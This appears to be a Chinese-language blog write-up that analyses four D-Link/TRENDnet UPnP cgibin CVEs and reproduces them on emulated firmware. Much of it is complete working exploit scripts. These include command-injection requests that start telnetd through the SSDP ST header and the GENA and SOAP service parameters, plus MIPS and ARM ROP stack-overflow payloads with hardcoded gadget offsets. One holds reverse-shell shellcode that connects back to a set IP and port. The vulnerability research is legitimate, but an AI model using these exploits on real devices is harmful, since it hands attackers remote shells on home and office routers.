cgibin中與upnp協議有關的一些漏洞分析與復現
前言
UPNP協議
UPNP,全稱為:Universal Plug and Play,中文為:通用即插即用,是一套基于TCP/IP、UDP和HTTP的網絡協議。
簡單來說,就和它的名字一樣,UPNP的目的就是為了在某個設備接入網絡后,該網絡中的所有設備都知道有新設備加入,這些設備之間能互相溝通,甚至可直接使用或控制對方。
UPNP的一大亮點就是,只要某設備支持并開啟了UPNP,當主機向其發出端口映射請求的時候,該設備就會自動為主機分配端口并進行端口映射。
cgibin
在D-Link,TRENDnet等apache struct的路由器的/htdocs目錄下都存在一個cgibin二進制文件,它會有很多.cgi文件的軟鏈接,通過運行這些軟鏈接,其名字會作為第一個參數傳入cgibin,就會調用到cgibin中對應的函數。
cgibin會作為 “請求驗證文件” ,對用戶的請求進行驗證并解析,再將解析后的數據傳給對應的文件,進行下一步的操作。
upnp相關的cgi
下圖為UPNP協議棧的結構示意圖:

可以看到其中的 SSDP(簡單服務發現協議),SOAP(簡單對象訪問協議)與GENA(通用事件通知體系) ,其分別對應ssdpcgi(在/htdocs/upnp目錄下),soap.cgi(在/htdocs/upnp/docs/LAN-1目錄下),gena.cgi(在/htdocs/upnp/docs/LAN-1目錄下),本文也主要是分析這幾個cgi在cgibin中對應函數的漏洞。
FAP (firmware-analysis-plus)
由于牽涉到UPNP協議,用qemu來模擬是比較復雜的,需要手動初始化一些東西,因此筆者為了方便,選擇使用FAP來仿真模擬固件運行,這個平臺基于firmadyne,對其做了一些優化及改進,GitHub的項目地址為:firmware-analysis-plus(https://github.com/liyansong2018/firmware-analysis-plus)。
該平臺的優點是:可以做到一鍵仿真模擬固件運行,缺點是:適配性較差,最好在Kali上安裝使用,筆者所用的物理機是Kali 2021.11的版本。
此外,經過筆者測試,該平臺對大部分MIPS架構的固件模擬都沒有問題,但是對部分ARM架構(特別是D-Link系列高版本路由)的固件模擬好像會出一些問題。
關于ARM無法成功仿真模擬的問題,筆者已經在github上提交了issue咨詢了作者,并且得到了回復:

筆者后來又找到了另一個優秀的“固件仿真框架”EMUX,這是一個基于docker的框架,主要針對于arm架構的仿真模擬,近期也支持了mips架構,根據官方的描述,可以對DIR860以上的arm架構路由進行模擬運行。
2022.5.7更新:
這篇文章其實是挺久前寫的了,昨天剛發出來,今天就收到了FAP項目作者的回復,說是已經修復了D-Link系列高版本arm路由無法仿真的問題:

筆者立即測試了一下,的確是修復了該問題,接著,筆者又嘗試用FAP模擬運行了TP-Link,Tenda等品牌中多款arm的固件,都能夠成功。
從目前各方面綜合來看,FAP項目是仿真模擬IoT固件的極好的選擇。
注:以下復現的CVE所影響的路由器為D-Link DIR-859及以下的版本,以及部分D-Link DIR-859以上的較低小版本,TRENDnet的很多路由器因框架相同,也受其影響。二
CVE-2020-15893
漏洞信息:CVE-2020-15893(https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15893)
這個CVE與ssdpcgi有關,我們先來分析cgibin中的ssdpcgi_main函數,可以很輕松地定位到可能的漏洞點在LABEL_17這里:

進入lxmldbc_system函數:

可以看到這里是用vsnprintf對傳進來的格式化字符串進行了拼接,其中va是通過va_arg取當前棧上的元素組成的va_list,通過動態調試不難發現,這里取的棧上的元素就是存放在棧上的環境變量:

在真機環境中,這里只有HTTP_ST是我們可控的。
當我們向HTTP_ST注入惡意指令,那么拼接好的字符串v6作為system參數,就可以導致任意命令執行(RCE)漏洞了。
再回到ssdpcgi_main詳細分析一下該如何構造payload:

可以發現,進行一堆匹配驗證,最后的格式化字符串只有下面兩個會多出一個參數%s的拼接,我們再看到匯編:

這里的第二個參數為/etc/scripts/upnp/M-SEARCH.sh,第三四個參數可以往上查找到,分別是REMOTE_ADDR和REMOTE_PORT:

結合格式化字符串,可以猜測并通過動調驗證出,最后在lxmldbc_system函數中拼接好的system的參數應為 /etc/scripts/upnp/M-SEARCH.sh XXX REMOTE_ADDR:REMOTE_PORT SERVER_ID HTTP_ST & ,因此,想要造成RCE,也就是要讓HTTP_ST拼接上去,就必須要選用后面兩個格式化字符串(device和service),也就需要之前有urn:才行。
綜上,我們初步構造的payload可以是向HTTP_ST注入urn:device:;telnetd -p 8888,由于此busybox自帶了telnetd,這里用telnetd開一個端口,再從主機遠程登陸進去是最方便的。
我們知道ssdpcgi和UPNP協議有關,也就是要發送報文到UPNP相關的端口,所以先用FAP模擬運行起固件,然后打開/var/run/httpd.conf文件,可以找到:

也就是說,要向1900端口發送報文,才能走到ssdpcgi。
然而,發送一段報文,肯定是需要請求方式的,在cgibin中不好直接看出來,可以到/usr/sbin/upnp文件中去找ST字段的關鍵詞定位:

可以看到sub_41BFDC函數中有對其的操作,再交叉引用到調用sub_41BFDC的sub_41C2A0函數,這里要求我們的請求方式是M-SEARCH:

上圖中的v10是調用ILibParsePacketHeader對a1 + 108的數據包解析的結果,而a1 + 108是接收到的socket套接字儲存的地方:

在sub_415C9C中也可以看到,把socket綁定到了1900端口:

再回到有對ST字段進行匹配操作的sub_41BFDC函數,可以看到首先需要繞過下面圈出的判斷,這里的1.1顯然就是HTTP版本:

綜上,從upnp二進制文件中可以看到,我們得是M-SEARCH請求方式,故:報文頭應為M-SEARCH * HTTP/1.1。
POC:
# python3from socket import *from os import *from time import * payload = b'M-SEARCH * HTTP/1.1\r'payload += b'HOST:localhost:1900\r'payload += b'ST:urn:device:;telnetd -p 8888\r\r' s = socket(AF_INET, SOCK_DGRAM, 0)s.sendto(payload, ("192.168.10.1", 1900))s.close() sleep(1)system("telnet 192.168.10.1 8888")
最終成功開啟了8888端口,利用telnet遠程登陸到了路由器固件中,可執行任意命令:

通過ps命令查看進程,可以發現telnetd -p 8888命令的確已經被成功執行:
三
CVE-2019-17621
漏洞信息:CVE-2019-17621(https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17621)
這個漏洞與gena.cgi有關,還是先看到cgibin中的genacgi_main函數:

可以看到v5是service=后面的內容,再先看到SUBCRIBE請求方式對應的sub_41A390函數:

看到這里,拼接好的字符串v16作為了xmldbc_ephp的參數,xmldbc_ephp函數在這里顯然就是運行了/htdocs/upnp/run.NOTIFY.php文件,于是,我們再來分析這個文件:

當SID為空的時候,調用了GENA_subscribe_new函數,這個函數在/htdocs/upnpinc/gena.php中:

這里有對HOST的檢查,然后最后調用到了GENA_notify_init函數:

在最后,將$shell_file寫入了shell文件中,不難想到,可以通過控制shell_file達成任意命令執行。
再看回到sub_41A390函數中,既然HTTP_SID必須為空才能走到漏洞點,那么自然就走到了else分支:

這些檢查都需要繞過,才能走到xmldbc_ephp函數:

這里的SHELL_FILE中可控參數a1就是從genacgi_main傳進來的參數v5,也就是service=后面的內容。
綜上,可以通過對service注入惡意指令,造成RCE漏洞 。
至此,我們知道了報文的請求方式得是SUBSCRIBE才能觸發漏洞,至于UNSUBSCRIBE和SID不為空的情況可以自行審一遍代碼,很容易看出是行不通的。
接下來要做的就是找的對應的UPNP端口,先找gena.cgi在哪里,看到/etc/services/HTTP/httpsvcs.php文件:

這里將cgibin的軟鏈接建到了/var/htdocs/upnp/目錄下,而這個目錄也有軟鏈接,為/htdocs/upnp/docs:


得到了這些信息,再看到/var/run/httpd.conf文件:

可以看到,需要向49152端口發送報文。
POC:
from pwn import *from socket import *from os import *from time import * request = b"SUBSCRIBE /gena.cgi?service=" + b"`telnetd -p 7777`" + b" HTTP/1.1\r"request += b"Host: localhost:49152\r"request += b"Callback: http:///\r"request += b"NT: upnp:event\r"request += b"Timeout: Second-2333\r\r" s = socket(AF_INET, SOCK_STREAM)s.connect((gethostbyname("192.168.0.1"), 49152))s.send(request) #io = remote("192.168.0.1", 49152)#io.send(request) sleep(1)os.system('telnet 192.168.0.1 7777')
這里拿socket或pwntools來打都是OK的:

或者直接nc上49152端口手動發送報文:
四
CVE-2018-6530
漏洞信息:CVE-2018-6530(https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6530)
這個漏洞是在soap.cgi中的,還是看到cgibin中的soapcgi_main函數:

首先需要繞過一些檢查,比如CONTENT_TYPE得是text/xml,REQUEST_METHOD得是POST,HTTP_SOAPACTION中得有#等,可以看到這里對service后的內容已經進行了一些過濾,但是 貌似忘記過濾了&符號 。
接著往下看:

這里的cgibin_parse_request已經很熟悉了,就是對POST內容的解析,在這里用處不大,就注意設置一下相關環境變量即可。
再下面就來到漏洞點了:

這個fopen的第二個參數是a+,文件不存在就會創建,所以這個if很好判斷過,下面的sprintf + system很顯然存在一個任意命令執行的RCE漏洞。
之前說過,&忘記過濾了,因此我們可以用&&連接惡意命令并注入到service中,由于之前的sh /var/run/是個合法路徑,因此算執行成功,可以走到&&之后的惡意命令。
在上一個CVE中已經分析過了,soap.cgi也是通過49152端口發送報文給UPNP的 。
POC:
from socket import *from os import *from time import * request = b"POST /soap.cgi?service=&&telnetd -p 8888&& HTTP/1.1\r"request += b"Host: localhost:49152\r"request += b"Content-Type: text/xml\r"request += b"Content-Length: 88\r"request += b"SOAPAction: a#b\r\r" s = socket(AF_INET, SOCK_STREAM)s.connect((gethostbyname("192.168.0.1"), 49152))s.send(request) sleep(1)system('telnet 192.168.0.1 8888')

五
CVE-2022-25106
漏洞信息:CVE-2022-25106(https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25106)
這個漏洞仍然是在gena.cgi中,不過這次是存在緩沖區溢出的漏洞:

上圖是當為UNSUBSCRIBE請求方式時走到的函數,很容易看出存在一處棧溢出的漏洞,且當請求方式為SUBSCRIBE時,也存在同樣的棧溢出漏洞。
需要提一下的就是,這里的SERVER_ID環境變量可以從httpd.conf文件中看到:

這個環境變量本身就不為空,也不是我們可控的,在這個棧溢出漏洞中,我們可以對service或HTTP_SID進行payload的注入,進行漏洞利用或造成拒絕服務。
這里需要注意的是:用FAP啟動好固件后,需要用echo 0 > /proc/sys/kernel/randomize_va_space命令關閉地址隨機化(ASLR),因為在真機環境中就是沒開ASLR的,也方便我們接下來的復現:

POC-1:
用UNSUBSCRIBE的請求方式,對service進行了注入。
# python3from pwn import *from socket import *from os import *from time import *context(os = 'linux', arch = 'mips') libc_base = 0x2aaf8000 s = socket(AF_INET, SOCK_STREAM) cmd = b'telnetd -l /bin/sh;'payload = b'a'*462payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)payload += b'a'*4 # fppayload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)payload += b'a'*0x18 # paddingpayload += cmd msg = b"UNSUBSCRIBE /gena.cgi?service=" + payload + b" HTTP/1.1\r"msg += b"Host: localhost:49152\r"msg += b"SID: 1\r\r" s.connect((gethostbyname("192.168.10.1"), 49152))s.send(msg) sleep(1)system("telnet 192.168.10.1 23")
成功地遠程登陸到了路由固件中:

檢測到23號端口的telnet服務已被開啟:

POC-2:
這個腳本在firmadyne模擬的環境中是打不通的,原因未知,可能是shellcode過長,到了一些不可執行區,但是在真機環境是可以打通的。
這里用的是SUBSCRIBE的請求方式,對service進行了注入。
# python3from pwn import *from socket import *from os import *from time import *context(os = 'linux', arch = 'mips') libc_base = 0x2aaf8000 s = socket(AF_INET, SOCK_STREAM) payload = b'a'*449payload += b'a'*4 # s0payload += p32(libc_base + 0x3E874) # s1 move $t9, $s2 (=> lw... => jr $t9)payload += p32(libc_base + 0x56BD0) # s2 sleeppayload += b'a'*(4*5)payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1) payload += b'a'*0x18payload += b'a'*4 # s0payload += p32(libc_base + 0x37E6C) # s1 move $t9, $a1 (=> jr $t9)payload += b'a'*4 # s2payload += p32(libc_base + 0xB814) # ra addiu $a1, $sp, 0x18 (=> jalr $s1) shellcode = asm(''' slti $a0, $zero, 0xFFFF li $v0, 4006 syscall 0x42424 slti $a0, $zero, 0x1111 li $v0, 4006 syscall 0x42424 li $t4, 0xFFFFFFFD not $a0, $t4 li $v0, 4006 syscall 0x42424 li $t4, 0xFFFFFFFD not $a0, $t4 not $a1, $t4 slti $a2, $zero, 0xFFFF li $v0, 4183 syscall 0x42424 andi $a0, $v0, 0xFFFF li $v0, 4041 syscall 0x42424 li $v0, 4041 syscall 0x42424 lui $a1, 0xB821 # Port: 8888 ori $a1, 0xFF01 addi $a1, $a1, 0x0101 sw $a1, -8($sp) li $a1, 0x68FAA8C0 # IP: 192.168.250.104 sw $a1, -4($sp) addi $a1, $sp, -8 li $t4, 0xFFFFFFEF not $a2, $t4 li $v0, 4170 syscall 0x42424 lui $t0, 0x6962 ori $t0, $t0,0x2f2f sw $t0, -20($sp) lui $t0, 0x6873 ori $t0, 0x2f6e sw $t0, -16($sp) slti $a3, $zero, 0xFFFF sw $a3, -12($sp) sw $a3, -4($sp) addi $a0, $sp, -20 addi $t0, $sp, -20 sw $t0, -8($sp) addi $a1, $sp, -8 addiu $sp, $sp, -20 slti $a2, $zero, 0xFFFF li $v0, 4011 syscall 0x42424''')payload += b'a'*0x18payload += shellcode msg = b"SUBSCRIBE /gena.cgi?service=" + payload + b" HTTP/1.1\r"msg += b"Host: localhost:49152\r"msg += b"SID: 1\r"msg += b"Timeout: Second-2333\r\r" s.connect((gethostbyname("192.168.250.1"), 49152))s.send(msg)

POC-3:
發現DIR-860L v2.03竟然還存在這個漏洞,于是也打了一下,這里注入的是HTTP_SID,又由于uClibc版本換了,所以gadget也有些變化:
# python3from pwn import *from socket import *from os import *from time import *context(os = 'linux', arch = 'mips') libc_base = 0x2aabf000 s = socket(AF_INET, SOCK_STREAM) cmd = b'telnetd -p 8888;'payload = b'a'*437payload += b'a'*4 # s0payload += p32(libc_base + 0x398A4) # s1 move $a0, $s4 ... jalr $fppayload += p32(libc_base + 0x56C20) # fp systempayload += p32(libc_base + 0x3B2B0) # ra addiu $s4, $sp, 0x28 ... jalr $s1payload += b'a'*0x28 # paddingpayload += cmd msg = b"UNSUBSCRIBE /gena.cgi?service=0 HTTP/1.1\r"msg += b"Host: localhost:49152\r"msg += b"SID: " + payload + b"\r\r" s.connect((gethostbyname("192.168.0.1"), 49152))s.send(msg) sleep(1)system("telnet 192.168.0.1 8888")


POC-4:
發現DIR-880L v1.0雖然架構換成了armel,但是這個漏洞仍然是存在的。
不過,FAP對部分arm架構的固件的仿真運行有些問題,筆者也還不太會用EMUX,沒成功啟動固件,目前又沒有真機的測試條件,就先貼一下POC(這里的gadget在本地的qemu測試過,是可以跑通的):
2022.5.7更新:FAP項目作者已經修復了D-LINK系列高版本arm路由無法仿真模擬的問題,下面給出的是最終測試通過的POC。
# python3from pwn import *from socket import *from os import *from time import *context(os = 'linux', arch = 'arm') libc_base = 0xb6f7e000 s = socket(AF_INET, SOCK_STREAM) cmd = b'telnetd -l /bin/sh;'payload = b'a'*462payload += b'a'*4 # r4payload += b'a'*4 # r5payload += b'a'*4 # r11payload += p32(libc_base + 0x169a0) # pop {r2, r3, r4, pc};payload += b'a'*4payload += p32(libc_base + 0x406f8) # mov r0, r1; pop {r3, pc};payload += b'a'*4payload += p32(libc_base + 0x390fc) # pc add r1, sp, #0x2c; blx r3;payload += b'a'*4 # r3payload += p32(libc_base + 0x5a270) # pc systempayload += b'a'*(0x2c-8) # paddingpayload += cmd msg = b"UNSUBSCRIBE /gena.cgi?service=" + payload + b" HTTP/1.1\r"msg += b"Host: localhost:49152\r"msg += b"SID: 1\r\r" s.connect((gethostbyname("192.168.0.1"), 49152))s.send(msg) sleep(1)system("telnet 192.168.0.1 23")
